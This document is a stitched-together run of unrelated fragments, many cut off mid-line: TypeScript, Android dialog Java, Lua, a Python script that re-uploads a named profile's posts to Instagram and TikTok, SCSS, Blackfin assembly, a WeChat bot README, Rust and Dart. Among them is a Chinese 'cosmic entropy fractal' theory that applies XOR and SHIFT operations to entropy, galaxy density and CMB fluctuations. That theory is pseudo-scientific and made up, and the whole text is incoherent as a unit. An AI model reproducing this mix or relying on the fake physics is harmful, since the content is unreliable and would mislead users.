    if (/\D/.test(numPart)) {
      return NaN
    }
    return parseInt(numPart, 10)
  }

  const calc = (names: string[]) => {
    return names
      .sort((a, b) => {
        if (escape(a) === escapedDefaultName) { return -1 }
        if (escape(b) === escapedDefaultName) { return  1 }
        return getSerial(escape(a)) - getSerial(escape(b))
      })
      .reduce((n, _name) => {
        const name = escape(_name)
        if (existsDefault(name)) {
          const serial = getSerial(name)
          const num = serial === 1  ? serial
            : isNaN(serial) ? 2
            : serial + 1
          if (n === 0 && num === 2) { return num }
          return num - n === 1 ? num : n
        }
        return n
      }, 0)
  }

  return output(calc(_names))
}
import { Point, points } from './points';

export interface Bounds {
  min: Point;
  max: Point;
}

enum planes {
  x = 'x',
  y = 'y',
}

const getBounds = (): Bounds => {
  const rangeX = points.map(point => point.x);
  const rangeY = points.map(point => point.y);
  const bounds: Bounds = {
    min: { x: Math.min(...rangeX), y: Math.min(...rangeY) },
    max: { x: Math.max(...rangeX), y: Math.max(...rangeY) },
  };

  return bounds;
};

export const bounds: Bounds = getBounds();
import { FilterWhereInputType } from './input-dvo/filter.where.input-type';
import { IFilterTypeValidField } from './filter.interface';
import { IAttributeEntityExtended } from '../../custom-feild/custom-field.handler';
import { validateBaseField } from '../../base.work-item';

export class FilterValidate {

  /**
   * Валидация по сложным атрибутам
   *
   * После подготовки данных из generateCustomFieldsForValidate мы обходим все необходимые поля и выполняем для них
   * x._cft.dbIsScalar.validate в случае ошибочного формата будет выброшено исключение
   *
   * @param where то же самое условия которые приходит в фильтры с клиента (Не путать со схемой генерируемой
   * в FilterCondition)
   * @param allAttrs массив всех CFT
   */
  // todo требуется рефакторинг метода, разделения его на две основные части формирования схемы и валидация CFT
  public async validField(where: FilterWhereInputType, allAttrs: IAttributeEntityExtended[]): Promise<void> {
    let arrFields = [] as any;
    arrFields = arrFields.concat(
      where._and,
      where._or,
      where._eq,
    );

    const arrCat = this.generateCustomFieldsForValidate(arrFields, []) as Array<IFilterTyp


说,保证构建dialog view的线程和dismiss在同一线程?
     * 查看源码知道,dismiss回强制在UI线程,所以,构建dialogview的线程也必须是UI线程.
     * 什么时候构建dialog的viewroot?
     * 普通dialog: new Dialog()方法中: Window w = new PhoneWindow(mContext)
     * alertdialog: dialogbuilder.build()方法中
     *
     * @param bean
     * @return
     */
    public static ConfigBean newCustomDialog(ConfigBean bean){
        Dialog dialog = new Dialog(bean.context);
        dialog.requestWindowFeature(Window.FEATURE_NO_TITLE);
        bean.dialog = dialog;
        return bean;
    }

    public static ConfigBean setCancelable(ConfigBean bean){

        if (bean.alertDialog != null){
            bean.alertDialog.setCancelable(bean.cancelable);
            bean.alertDialog.setCanceledOnTouchOutside(bean.outsideTouchable);
           // bean.alertDialog.getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
        }else if (bean.dialog != null){
            bean.dialog.setCancelable(bean.cancelable);
            bean.dialog.setCanceledOnTouchOutside(bean.outsideTouchable);
          //  bean.dialog.getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
        }
        return bean;
    }

    public static void adjustStyle(final ConfigBean bean) {
        /*if (bean.alertDialog!= null){
            //setMdBtnStytle(bean);
            //setListItemsStyle(bean);
           // adjustStyle(bean.context,bean.dialog,bean.viewHeight,bean);

        }else {
            adjustWH(bean.context,bean.dialog,bean.viewHeight,bean);
        }*/

        setBg(bean);
       // bean.isTransparentBehind = true;
        setDim(bean);
        Dialog dialog = bean.dialog ==null ? bean.alertDialog : bean.dialog;
        Window window = dialog.getWindow();
        window.setGravity(bean.gravity);
        if(bean.context instanceof Activity){
            //setHomeKeyListener(window,bean);
        }else {
            window.setType(WindowManager.LayoutParams.TYPE_TOAST);
            WindowManager.LayoutParams params = window.getAttributes();
            if(params==null){
                params = new WindowManager.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
            }
            params.format = PixelFormat.RGBA_8888;
            params.flags =
               // WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL  |
                WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE  |
                WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH |
                WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
            params.dimAmount = 0.2f;
            //params.alpha = 0.5f;//the alpha of window

            window.setAttributes(params);

            // back key pressed
            window.getDecorView().setOnKeyListener(new View.OnKeyListener() {
                @Override
                public boolean onKey(View v, int keyCode, KeyEvent event) {
                    if (keyCode == KeyEvent.KEYCODE_BACK || event.getKeyCode() == KeyEvent.KEYCODE_SETTINGS) {
                        StyledDialog.dismiss(bean.alertDialog,bean.dialog);
                        return true;
                    }
                    return false;
                }
            });
            // home key pressed
            setHomeKeyListener(window,bean);

            //todo outside not touchable

            //todo dim behind
            window.setDimAmount(0.2f);

        }

    }

    private  static void setHomeKeyListener(final Window window, final ConfigBean bean){
        //在创建View时注册Receiver
        IntentFilter homeFilter = new IntentFilter(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
        bean.homeKeyRec


,tp,tp,false,false,POS_FACEUP)~=0 then
			local e1=Effect.CreateEffect(c)
			e1:SetType(EFFECT_TYPE_SINGLE)
			e1:SetCode(EFFECT_LEAVE_FIELD_REDIRECT)
			e1


import sys, subprocess, time, logging

logger = logging.getLogger()

python_executable = sys.executable

### FILL IN THIS INFORMATION ###
profile_to_download = "greeeencum"
count_of_posts = 2
####

try:
    command = [python_executable, 'download.py', 'manual', profile_to_download, str(count_of_posts)]
    subprocess.run(command)
    logger.info("=============================")
    logger.info("Finished Downloading")
    logger.info("=============================")

    time.sleep(10)

    command = [python_executable, 'instagram/instagram.py']
    subprocess.run(command)
    logger.info("=============================")
    logger.info("Finished Uploading to Instagram")
    logger.info("=============================")

    time.sleep(15)

    command = [python_executable, 'tiktok/tiktok.py']
    subprocess.run(command)
    logger.info("=============================")
    logger.info("Finished Uploading to TikTok")
    logger.info("=============================")

    time.sleep(3)
except Exception as e:
    logger.info("Exception: " + str(e))

command = [python_executable, 'cleanup.py']
subprocess.run(command)


, S_F), (D_f^{(1)}, S_F^{(1)}), ..., (D_f^{(k)}, S_F^{(k)})\}`$

其中 $`(D_f^{(i)}, S_F^{(i)})`$ 表示系统在不同尺度范围的分形维度和熵特征。

临界相变预测：

$`\Delta S_F(x, t) = S_F(x, t+1) - S_F(x, t)`$

当 $`|\Delta S_F(x, t)| > \epsilon`$ 时，预示系统临近临界相变点。

### 4.2 宇宙大尺度结构预测

宇宙熵分形演化理论在宇宙大尺度结构预测中的应用：

宇宙大尺度结构的分形维度预测：

$`D_f^{cosmos} = 2 + \frac{\log(S(\text{Planck scale}) \oplus S(\text{Observable Universe}))}{\log(\text{Scale ratio})}`$

星系分布预测模型：

$`\rho(r) \propto r^{D_f-3} \oplus \text{SHIFT}(r^{D_f-3})`$

其中 $`\rho(r)`$ 是半径 $`r`$ 处的星系密度。

宇宙微波背景辐射温度波动的分形特性：

$`\Delta T_{CMB}(L) = \Delta T_0 \cdot \left(\frac{L}{L_0}\right)^{D_f/2-1} \oplus \text{SHIFT}(\Delta T_0)`$

宇宙演化关键阶段预测：

$`t_{critical} = \{t | \gamma(L, t) \text{ exhibits singularities}\}`$

其中 $`\gamma(L, t)`$ 是熵分形增长率。

## 5. 与其他理论的关系

本理论作为维度4的理论，与以下理论具有直接关联：

1. **宇宙本论**：提供宇宙熵分形的基本XOR-SHIFT操作框架
2. **信息熵动力学理论**：扩展熵在分形结构中的演化特性
3. **量子信息离散性理论**：解释分形最小尺度上的量子特性
4. **维度变换力学理论**：提供分形维度的数学基础

## 6. 理论引用关系

本理论依赖于：
- [宇宙本论](formal_theory_cosmic_ontology.md) [维度: 4.0]
- [信息熵动力学理论](formal_theory_information_entropy_dynamics.md) [维度: 4.0]
- [量子信息离散性理论](formal_theory_quantum_information_discreteness.md) [维度: 4.0]
- [维度变换力学理论](formal_theory_dimension_transformation_mechanics.md) [维度: 4.0]

本理论被以下理论引用：
- [复杂系统多尺度涌现理论](formal_theory_complex_system_multiscale_emergence.md) [维度: 4.0]
- [宇宙分形信息网络理论](formal_theory_cosmic_fractal_information_network.md) [维


 = WidthMask[focusIndex]
			return ((value shr 33).toInt() and mask) != 0
		}

	/**
	 * `false` when [maxHeight] is [Infinity] and `true` if [maxHeight] is a non-[Infinity] value.
	 * @see hasBoundedWidth
	 */
	public val hasBoundedHeight: Boolean
		get() {
			val focus = focusIndex
			val mask = HeightMask[focus]
			val offset = MinHeightOffsets[focus] + 31
			return ((value shr offset).toInt() and mask) != 0
		}

	/**
	 * Whether there is exactly one width value that satisfies the constraints.
	 */
	@Stable
	public val hasFixedWidth: Boolean get() = maxWidth == minWidth

	/**
	 * Whether there is exactly one height value that satisfies the constraints.
	 */
	@Stable
	public val hasFixedHeight: Boolean get() = maxHeight == minHeight

	/**
	 * Whether the area of a component respecting these constraints will definitely be 0.
	 * This is true when at least one of maxWidth and maxHeight are 0.
	 */
	@Stable
	public val isZero: Boolean get() = maxWidth == 0 || maxHeight == 0

	/**
	 * Copies the existing [Constraints], replacing some of [minWidth], [minHeight], [maxWidth],
	 * or [maxHeight] as desired. [minWidth] and [minHeight] must be positive and
	 * [maxWidth] and [maxHeight] must be greater than or equal to [minWidth] and [minHeight],
	 * respectively, or [Infinity].
	 */
	public fun copy(
		minWidth: Int = this.minWidth,
		maxWidth: Int = this.maxWidth,
		minHeight: Int = this.minHeight,
		maxHeight: Int = this.maxHeight,
	): Constraints {
		require(minHeight >= 0 && minWidth >= 0) {
			"minHeight($minHeight) and minWidth($minWidth) must be >= 0"
		}
		require(maxWidth >= minWidth || maxWidth == Infinity) {
			"maxWidth($maxWidth) must be >= minWidth($minWidth)"
		}
		require(maxHeight >= minHeight || maxHeight == Infinity) {
			"maxHeight($maxHeight) must be >= minHeight($minHeight)"
		}
		return createConstraints(minWidth, maxWidth, minHeight, maxHeight)
	}

	override fun toString(): String {
		val maxWidth = maxWidth
		val maxWidthStr = if (maxWidth == Infinity) "Infinity" else maxWidth.toString()
		val maxHeight = maxHeight
		val maxHeightStr = if (maxHeight == Infinity) "Infinity" else maxHeight.toString()
		return "Constraints(minWidth = $minWidth, maxWidth = $maxWidthStr, " +
			"minHeight = $minHeight, maxHeight = $maxHeightStr)"
	}

	public companion object {
		/**
		 * A value that [maxWidth] or [maxHeight] will be set to when the constraint should
		 * be considered infinite. [hasBoundedWidth] or [hasBoundedHeight] will be
		 * `false` when [maxWidth] or [maxHeight] is [Infinity], respectively.
		 */
		public const val Infinity: Int = Int.MAX_VALUE

		/**
		 * The bit distribution when the focus of the bits should be on the width, but only
		 * a minimal difference in focus.
		 *
		 * 16 bits assigned to width, 15 bits assigned to height.
		 */
		private const val MinFocusWidth = 0x00L

		/**
		 * The bit distribution when the focus of the bits should be on the width, and a
		 * maximal number of bits assigned to the width.
		 *
		 * 18 bits assigned to width, 13 bits assigned to height.
		 */
		private const val MaxFocusWidth = 0x01L

		/**
		 * The bit distribution when the focus of the bits should be on the height, but only
		 * a minimal difference in focus.
		 *
		 * 15 bits assigned to width, 16 bits assigned to height.
		 */
		private const val MinFocusHeight = 0x02L

		/**
		 * The bit distribution when the focus of the bits should be on the height, and a
		 * a maximal number


ay: none;
		height: 100%;
		left: 0;
		position: fixed;
		top: 0;
		width: 100%;
		z-index: _misc(z-index-base) + 1;
	}
}

#menu {
    @include vendor('transform', 'translateX(-50%)');
    color: _palette(accent1, fg-bold);
    left: 50%;
    position: fixed;
    top: 0;
    white-space: nowrap;
    z-index: _misc(z-index-base) + 2;

    @include breakpoint(large) {
        @include vendor('transform', 'translateX(20em)');
    	@include vendor('transition', 'transform #{_duration(menu)} ease');
    	-webkit-overflow-scrolling: touch;
        left: auto;
    	background: _palette(accent1, bg);
        height: 100%;
        max-width: 80%;
        overflow-y: auto;
        padding: 3em 2em;
        right: 0;
        white-space: normal;
        width: 20em;
    }

	ul {
        display: flex;
		list-style: none;
        margin: 0;
		padding: 0;

        @include breakpoint(large) {
            display: block;
        }

		> li {
            @include breakpoint(large) {
                border-top: solid 1px _palette(accent1, border);
                margin: 0.5em 0 0 0;
                padding: 0.5em 0 0 0;

                &:first-child {
                    border-top: 0 !important;
                    margin-top: 0 !important;
                    padding-top: 0 !important;
                }
            }

			> a {
				border: 0;
				color: inherit;
				display: block;
				font-size: 0.8em;
				letter-spacing: _size(letter-spacing-alt);
				outline: 0;
                padding: 0.9em 1em;
				text-decoration: none;
				text-transform: uppercase;

				@include breakpoint(small) {
					line-height: 3em;
				}

                @include breakpoint(large) {
                    padding: 0;
                }
			}
		}
	}

	.close {
        display: none;

        @include breakpoint(large) {
            background-image: url('images/close.svg');
    		background-position: 4.85em 1em;
    		background-repeat: no-repeat;
    		border: 0;
    		cursor: pointer;
    		display: block;
    		height: 3em;
    		position: absolute;
    		right: 0;
    		top: 0;
    		vertical-align: middle;
    		width: 7em;
        }
	}

	@include breakpoint(small) {
		padding: 3em 1.5em;
	}
}

body.is-menu-visible {
	#page-wrapper {
		opacity: 0.35;

		&:before {
			display: block;
		}
	}

	#menu {
        @include breakpoint(large) {
            @include vendor('transform', 'translateX(0)');
        }
	}
}

/* Header */

#header {
	@include vendor('transition', 'background-color #{_duration(transitions)} ease');
	background-color: _palette(bg);
  background-image: linear-gradient(to bottom, rgba(46, 56, 66, 1) 0%, rgba(46, 56, 66, 0) 100%);
	height: 3em;
	left: 0


/*
 * BF561 coreB bootstrap file
 *
 * Copyright 2007-2009 Analog Devices Inc.
 *               Philippe Gerum <rpm@xenomai.org>
 *
 * Licensed under the GPL-2 or later.
 */

#include <linux/linkage.h>
#include <linux/init.h>
#include <asm/blackfin.h>
#include <asm/asm-offsets.h>
#include <asm/trace.h>

/*
 * This code must come first as CoreB is hardcoded (in hardware)
 * to start at the beginning of its L1 instruction memory.
 */
.section .l1.text.head

/* Lay the initial stack into the L1 scratch area of Core B */
#define INITIAL_STACK	(COREB_L1_SCRATCH_START + L1_SCRATCH_LENGTH - 12)

ENTRY(_coreb_trampoline_start)
	/* Enable Cycle Counter and Nesting Of Interrupts */
#ifdef CONFIG_BFIN_SCRATCH_REG_CYCLES
	R0 = SYSCFG_SNEN;
#else
	R0 = SYSCFG_SNEN | SYSCFG_CCEN;
#endif
	SYSCFG = R0;

	/* Optimization register tricks: keep a base value in the
	 * reserved P registers so we use the load/store with an
	 * offset syntax.  R0 = [P5 + <constant>];
	 *   P5 - core MMR base
	 *   R6 - 0
	 */
	r6 = 0;
	p5.l = 0;
	p5.h = hi(COREMMR_BASE);

	/* Zero out registers required by Blackfin ABI */

	/* Disable circular buffers */
	L0 = r6;
	L1 = r6;
	L2 = r6;
	L3 = r6;

	/* Disable hardware loops in case we were started by 'go' */
	LC0 = r6;
	LC1 = r6;

	/*
	 * Clear ITEST_COMMAND and DTEST_COMMAND registers,
	 * Leaving these as non-zero can confuse the emulator
	 */
	[p5 + (DTEST_COMMAND - COREMMR_BASE)] = r6;
	[p5 + (ITEST_COMMAND - COREMMR_BASE)] = r6;
	CSYNC;

	trace_buffer_init(p0,r0);

	/* Turn off the icache */
	r1 = [p5 + (IMEM_CONTROL - COREMMR_BASE)];
	BITCLR (r1, ENICPLB_P);
	[p5 + (IMEM_CONTROL - COREMMR_BASE)] = r1;
	SSYNC;

	/* Turn off the dcache */
	r1 = [p5 + (DMEM_CONTROL - COREMMR_BASE)];
	BITCLR (r1, ENDCPLB_P);
	[p5 + (DMEM_CONTROL - COREMMR_BASE)] = r1;
	SSYNC;

	/* in case of double faults, save a few things */
	p1.l = _initial_pda_coreb;
	p1.h = _initial_pda_coreb;
	r4 = RETX;
#ifdef CONFIG_DEBUG_DOUBLEFAULT
	/*


er-hints-widget.visible{transition:left .05s ease-in-out}.monaco-editor .parameter-hints-widget p,.monaco-editor .parameter-hints-widget ul{margin:8px 0}.monaco-editor .parameter-hints-widget .body,.monaco-editor .parameter-hints-widget .monaco-scrollable-element{display:flex;flex:1 1;flex-direction:column;min-height:100%}.monaco-editor .parameter-hints-widget .signature{padding:4px 5px}.monaco-editor .parameter-hints-widget .docs{padding:0 10px 0 5px;white-space:pre-wrap}.monaco-editor .parameter-hints-widget .docs.empty{display:none}.monaco-editor .parameter-hints-widget .docs .markdown-docs{white-space:normal}.monaco-editor .parameter-hints-widget .docs .markdown-docs code{font-family:var(--monaco-monospace-font)}.monaco-editor .parameter-hints-widget .docs .code{white-space:pre-wrap}.monaco-editor .parameter-hints-widget .docs code{border-radius:3px;padding:0 .4em}.monaco-editor .parameter-hints-widget .controls{align-items:center;display:none;flex-direction:column;justify-content:flex-end;min-width:22px}.monaco-editor .parameter-hints-widget.multiple .controls{display:flex;padding:0 2px}.monaco-editor .parameter-hints-widget.multiple .button{background-repeat:no-repeat;cursor:pointer;height:16px;width:16px}.monaco-editor .parameter-hints-widget .button.previous{bottom:24px}.monaco-editor .parameter-hints-widget .overloads{font-family:var(--monaco-monospace-font);height:12px;line-height:12px;opacity:.5;text-align:center}.monaco-editor .parameter-hints-widget .signature .parameter.active{font-weight:700;text-decoration:underline}.monaco-editor .parameter-hints-widget .documentation-parameter>.parameter{font-weight:700;margin-right:.5em}.monaco-editor .rename-box{color:inherit;z-index:100}.monaco-editor .rename-box.preview{padding:3px 3px 0}.monaco-editor .rename-box .rename-input{padding:3px;width:calc(100% - 6px)}.monaco-editor .rename-box .rename-label{display:none;opacity:.8}.monaco-editor .rename-box.preview .rename-label{display:inherit}.monaco-editor{--monaco-monospace-font:"SF Mono",Monaco,Menlo,Consolas,"Ubuntu Mono","Liberation Mono","DejaVu Sans Mono","Courier New",monospace;font-family:-apple-system,BlinkMacSystemFont,Segoe WPC,Segoe UI,HelveticaNeue-Light,system-ui,Ubuntu,Droid Sans,sans-serif}.monaco-editor.hc-black .monaco-menu .monaco-action-bar.vertical .action-menu-item:focus .action-label,.monaco-editor.vs-dark .


(https://biezhi.github.io/wechat-api/)

[![](https://img.shields.io/travis/biezhi/wechat-api.svg)](https://travis-ci.org/biezhi/wechat-api)
[![](https://img.shields.io/maven-central/v/io.github.biezhi/wechat-api.svg)](https://mvnrepository.com/artifact/io.github.biezhi/wechat-api)
[![](https://img.shields.io/badge/license-MIT-FF0080.svg)](https://github.com/biezhi/wechat-api/blob/master/LICENSE)
[![@biezhi on zhihu](https://img.shields.io/badge/zhihu-%40biezhi-red.svg)](https://www.zhihu.com/people/biezhi)
[![](https://img.shields.io/github/followers/biezhi.svg?style=social&label=Follow%20Me)](https://github.com/biezhi)

## 特性

- 使用简单，引入依赖即可
- 支持本地图片和终端输出二维码
- 本地自动登录
- 支持文本、图片、视频、撤回消息等
- 支持发送文本、图片、附件
- 注解绑定消息监听
- 群聊、单聊支持
- 添加好友验证
- 撤回消息获取
- JDK7+

## 使用

本地开发的同学请先安装 [lombok](https://projectlombok.org/) 插件并确保你的JDK环境是1.7+

引入 `maven` 依赖

```xml
<dependency>
    <groupId>io.github.biezhi</groupId>
    <artifactId>wechat-api</artifactId>
    <version>1.0.6</version>
</dependency>
```

构建自己的小机器人

```java
public class HelloBot extends WeChatBot {

    public HelloBot(Config config) {
        super(config);
    }

    @Bind(msgType = MsgType.TEXT)
    public void handleText(WeChatMessage message) {
        if (StringUtils.isNotEmpty(message.getName())) {
            log.info("接收到 [{}] 的消息: {}", message.getName(), message.getText());
            this.sendMsg(message.getFromUserName(), "自动回复: " + message.getText());
        }
    }

    public static void main(String[] args) {
        new HelloBot(Config.me().autoLogin(true).showTerminal(true)).start();
    }

}
```

## Bot API

```java
/**
 * 给文件助手发送消息
 *
 * @param msg 消息内容
 * @return 发送是否成功
 */
boolean sendMsgToFileHelper(String msg);

/**
 * 给某个用户发送消息
 *
 * @param name 用户UserName
 * @param msg  消息内容
 * @return 发送是否成功
 */
boolean sendMsg(String name, String msg);

/**
 * 根据名称发送消息
 *
 * @param name 备注或昵称，精确匹配
 * @param msg  消息内容
 * @return 发送是否成功
 */


}
				}

				if (!flag) // 引用字段名称在provider中没有定义
				{

					if (log.isWarnEnabled()) {

						Exception e = new Exception(new StringBuilder().append("引用字段[")
								.append(filedName)
								.append("]在组件["
								)
								.append(bean.getClass())
								.append("]中没有定义,请检查配置文件是否配置正确["
								)
								.append(pro
										.getConfigFile())
								.append("]").toString());
						log.warn("", e);
					}
				}
			} catch (CurrentlyInCreationException e) {
				throw e;
			} catch (BeanInstanceException e) {
				throw e;
			} catch (ClassNotFoundException e) {
				// TODO Auto-generated catch block
				throw new CurrentlyInCreationException(new StringBuilder().append(pro.getName())
						.append("@")
						.append(pro.getConfigFile())
						.append("，injectProperties["
						)
						.append(bean.getClass())
						.append("]").toString(), e);
			} catch (NumberFormatException e) {
				throw new CurrentlyInCreationException(new StringBuilder().append(pro.getName())
						.append("@")
						.append(pro.getConfigFile())
						.append("，injectProperties["
						)
						.append(bean.getClass())
						.append("]").toString(), e);
			} catch (IllegalArgumentException e) {
				throw new CurrentlyInCreationException(new StringBuilder().append(pro.getName())
						.append("@")
						.append(pro.getConfigFile())
						.append("，injectProperties["
						)
						.append(bean.getClass())
						.append("]").toString(), e);
			} catch (NoSupportTypeCastException e) {
				throw new CurrentlyInCreationException(new StringBuilder().append(pro.getName())
						.append("@")
						.append(pro.getConfigFile())
						.append("，injectProperties["
						)
						.append(bean.getClass())
						.append("]").toString(), e);
			} catch (Exception e) {
				throw new CurrentlyInCreationException(new StringBuilder().append(pro.getName())
						.append("@")
						.append(pro.getConfigFile())
						.append("，injectProperties["
						)
						.append(bean.getClass())
						.append("]").toString(), e);
			}

		}

	}

	/**
	 * 通过工厂对象创建组件实例
	 *
	 * @param providerManagerInfo
	 * @return
	 */
	public static MethodInvoker creatorMethodInvokerByBean(Pro providerManagerInfo, String beanName, String method) {
		try {
			Object instance = providerManagerInfo.getApplicationContext().getBeanObject(beanName);
			Class cls = instance.getClass();

			if (providerManagerInfo.getConstruction() == null
					|| providerManagerInfo.getConstructorParams() == null
					|| providerManagerInfo.getConstructorParams().size() == 0) {
				Method method_ = cls.getMethod(method);
				if (method == null) {
					throw new CurrentlyInCreationException(new StringBuilder().append(providerManagerInfo.getName())
							.append("@"
							)
							.append(providerManagerInfo.getConfigFile())
							.append(",对象工厂[")
							.append(cls.getName())
							.append("]没有定义")
							.append(method)
							.append("方法。请检查[factory-method]属性配置是否正确。").toString());
				}

				/**
				 * 本地线程技术，存放CallContext上下文
				 * 如果有旧的还需要保存旧的callContext
				 */
//				return  method.invoke(factory, null);
				return new MethodInvoker(false, instance, null, method_, providerManagerInfo);

				/**
				 * 清理本地线程
				 * 如果有旧的callContext，还需要恢复旧的上下文
				 */
			}
			List<Pro> params = providerManagerInfo.getConstructorParams();
			Object[] valuetypes = getValue2ndTypes


izeTrait,
};

// Errors
pub use crate::error::*;
<reponame>namibj/sruth
use super::{Constant, Node, NodeExt, NodeId};
use abomonation_derive::Abomonation;

#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash, Abomonation)]
pub struct Start;

impl NodeExt for Start {
    fn node_name(&self) -> &'static str {
        "Start"
    }

    fn evaluate_with_constants(self, _constants: &[(NodeId, Constant)]) -> (Node, Vec<NodeId>) {
        (self.into(), Vec::new())
    }

    fn inline_cost(&self) -> isize {
        0
    }
}

#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash, Abomonation)]
pub struct End;

impl NodeExt for End {
    fn node_name(&self) -> &'static str {
        "End"
    }

    fn evaluate_with_constants(self, _constants: &[(NodeId, Constant)]) -> (Node, Vec<NodeId>) {
        (self.into(), Vec::new())
    }

    fn inline_cost(&self) -> isize {
        0
    }
}

#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash, Abomonation)]
pub struct Merge;

impl NodeExt for Merge {
    fn node_name(&self) -> &'static str {
        "Merge"
    }

    fn evaluate_with_constants(self, _constants: &[(NodeId, Constant)]) -> (Node, Vec<NodeId>) {
        (self.into(), Vec::new())
    }

    fn inline_cost(&self) -> isize {
        0
    }
}

#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash, Abomonation)]
pub struct Place;

impl NodeExt for Place {
    fn node_name(&self) -> &'static str {
        "Place"
    }

    fn evaluate_with_constants(self, _constants: &[(NodeId, Constant)]) -> (Node, Vec<NodeId>) {
        (self.into(), Vec::new())
    }

    fn inline_cost(&self) -> isize {
        0
    }
}
//! This is the result of prototyping a domain specific compressor for CNF files. This code was not
//! written for maintainability and needs quite a bit of clean up and documentation.
use std::{
    convert::TryInto,
    io::{self, Read, Write},
    path::PathBuf,
};

#[cfg(unix)]
use std::os::unix::io::{AsRawFd, FromRawFd};
#[cfg(windows)]
use std::os::windows::io::{AsRawHandle, FromRawHandle};

use flussab_cnf::cnf;
use structopt::StructOpt;

const BUF_SIZE: usize = 1024 * 128;

const MAGIC: &[u8; 9] = b"\x07cnfpack\n";

type Result<T, E = Box<dyn std::error::Error>> = std::result::Result<T, E>;

/// Encoder and decoder for the Cnfpack format.
///
/// Converts between the text based DIMACS CNF file format and the compressed binary Cnfpack format.
#[derive(StructOpt, Debug)]
struct Opt {
    /// Read a Cnfpack file and write a DIMACS CNF file. Default for the `uncnfpack` program.
    #[structopt(short, long, conflicts_with = "normalize", conflicts_with = "encode")]
    decode: bool,

    /// Read a DIMACS CNF file and write a Cnfpack file. Default for the `cnfpack` program.
    #[structopt(short, long, conflicts_with = "normalize", conflicts_with = "decode")]
    encode: bool,

    /// Read a DIMACS CNF file and write a normalized DIMACS CNF file.
    ///


/wallet-icons/car.svg';
  static const String couch = 'assets/svg/wallet-icons/couch.svg';

  static const String triangleWarning = 'assets/svg/triangle-warning.svg';

  static List<String> icons = [
    'assets/svg/wallet-icons/man-head.svg',
    'assets/svg/wallet-icons/woman-head.svg',
    'assets/svg/wallet-icons/child-head.svg',
    'assets/svg/wallet-icons/home-heart.svg',
    'assets/svg/wallet-icons/smile-beam.svg',
    'assets/svg/wallet-icons/shrimp.svg',
    'assets/svg/wallet-icons/crab.svg',
    'assets/svg/wallet-icons/fish.svg',
    'assets/svg/wallet-icons/squid.svg',
    'assets/svg/wallet-icons/dolphin.svg',
    'assets/svg/wallet-icons/whale.svg',
    'assets/svg/wallet-icons/hand-holding-heart.svg',
    'assets/svg/wallet-icons/cursor-finger.svg',
    'assets/svg/wallet-icons/paw.svg',
    'assets/svg/wallet-icons/paper-plane.svg',
    'assets/svg/wallet-icons/envelope.svg',
    'assets/svg/wallet-icons/flower.svg',
    'assets/svg/wallet-icons/star.svg',
    'assets/svg/wallet-icons/music.svg',
    'assets/svg/wallet-icons/heart.svg',
    'assets/svg/wallet-icons/hamburger.svg',
    'assets/svg/wallet-icons/croissant.svg',
    'assets/svg/wallet-icons/pizza-slice.svg',
    'assets/svg/wallet-icons/turkey.svg',
    'assets/svg/wallet-icons/carrot.svg',
    'assets/svg/wallet-icons/diamond.svg',
    'assets/svg/wallet-icons/gift.svg',
    'assets/svg/wallet-icons/rocket-lunch.svg',
    'assets/svg/wallet-icons/piggy-bank.svg',
    'assets/svg/wallet-icons/umbrella.svg',
    'assets/svg/wallet-icons/bank.svg',
    'assets/svg/wallet-icons/building.svg',
    'assets/svg/wallet-icons/shop.svg',
    'assets/svg/wallet-icons/car.svg',
    'assets/svg/wallet-icons/couch.svg',
  ];

  static const totalCount = 35;

  static String getPathByIndex(int index) {
    if (index >= 0 && index < icons.length) {
      return icons[index];
    }
    return '';
  }
}
import 'dart:io';

import 'package:coconut_design_system/coconut_design_system.dart';
import 'package:coconut_lib/coconut_lib.dart';
import 'package:coconut_wallet/localization/strings.g.dart';
import 'package:flutter/material.dart';

// Usage
// wallet_list_screen.dart
// broadcast_complete_screen.dart (app_reveiw_service.dart가 호출)
class UserExperienceSurveyBottomSheet extends StatelessWidget {
  final bool isFirst;

  const UserExperienceSurveyBottomSheet({super.key, this.isFirst = false});

  @override
  Widget build(BuildContext context) {
    return PopScope(
      canPop: false,
      onPopInvokedWithResult: (didPop, _) {
        if (!didPop && !isFirst) {
          Navigator.pop(context);
        }
      },
      child: Scaffold(
        appBar: isFirst
            ? null
            : AppBar(
                backgroundColor: Colors.transparent,
                // TODO: toolbarHeight 정확하게 구해서 설정하는 방법 찾기
                toolbarHeight: Platform.isAndroid ? 100 : 120,
                leading: IconButton(
                  onPressed: () => Navigator.pop(context),
                  icon: const Icon(
                    Icons.close,
                    color: CoconutColors.white,
                    size: 22,
                  ),
                )),
        backgroundColor: CoconutColors.black,
        body: SafeArea(
          child: Padding(
            padding: const EdgeInsets.symmetric(horizontal: 16),
            child: Center(
              child: Colum


